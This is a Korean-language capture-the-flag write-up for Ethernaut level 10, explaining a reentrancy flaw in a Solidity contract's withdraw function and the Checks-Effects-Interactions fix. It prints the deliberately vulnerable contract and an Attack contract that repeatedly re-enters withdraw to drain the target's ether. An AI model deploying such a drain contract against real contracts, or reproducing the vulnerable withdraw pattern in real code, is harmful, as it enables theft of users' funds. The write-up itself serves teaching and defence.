Ethernaut 10. Re-entrancy

독수리박박·2024년 7월 22일
post-thumbnail

Ehternaut level10

Problem


이번 문제는 컨트랙트의 패턴의 문제를 통해 재진입 공격을 시도하는 것입니다.
재진입 공격에 취약한 부분을 찾아 공격을 진행하면 됩니다.
컨트랙트가 가지고 있는 자산을 모두 탈취하는 것이 목표입니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

Checks-Effects-Interactions

만약 트랜잭션이 일어나 다른 컨트랙트와 상호작용을 하고 상태를 변화시키려고 할 때에는 제목에 있는 Checks-Effects-Interactions 패턴으로 컨트랙트를 작성해야 합니다.

  • Checks: 조건 검사(잔액 or 권한)
  • Effects: 상태변화 - 실제 트랜잭션을 통한 전송 같은 특정 행동을 하기 전에 미리 데이터를 변화시켜야 합니다. 이후 트랜잭션이 실패했다면 상태가 원래대로 되돌아가기 때문에 미리 변화시켜도 상관이 없습니다.
  • 실제 자산 전송과 같은 트랜잭션 실행

만약 이 디자인 패턴을 지키지 않는다면 트랜잭션이 실행되는 동안 상대 컨트랙트에서 해당 함수를 재호출해 공격을 진행할 수 있습니다.

문제 컨트랙트에서도 이러한 디자인 패턴을 지키지 않아 재진입 공격에 취약합니다.

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

문제 컨트랙트에서는 출금 함수에서 Checks-Interactions-Effects 의 패턴을 사용했습니다.

Solution


위에서 지적한봐와 같이 eth을 일단 전송하고 상태를 업데이트 하기 때문에 만약 이더를 받는 receive나 fallback 함수에서 컨트랙트의 잔액을 확인하고 함수를 재호출 한다면 같은 양의 이더를 원하는 만큼 계속 받을 수 있습니다.
아래와 같이 공격 컨트랙트를 발행해 공격을 진행하면 됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "./Reentrance.sol";

contract Attack {
    Reentrance private reentrance;

    constructor(address payable _reentrance) public {
        reentrance = Reentrance(_reentrance);
    }

    function attack() public payable {
        reentrance.donate.value(msg.value)(address(this));
        reentrance.withdraw(msg.value);
    }

    receive() external payable {
        reentrance.withdraw(msg.value);
    }
}

Conclusion


Checks-Effects-Interactions으로 작성하거나 modifier에 nonReentrant 같은 것을 사용합시다.

0개의 댓글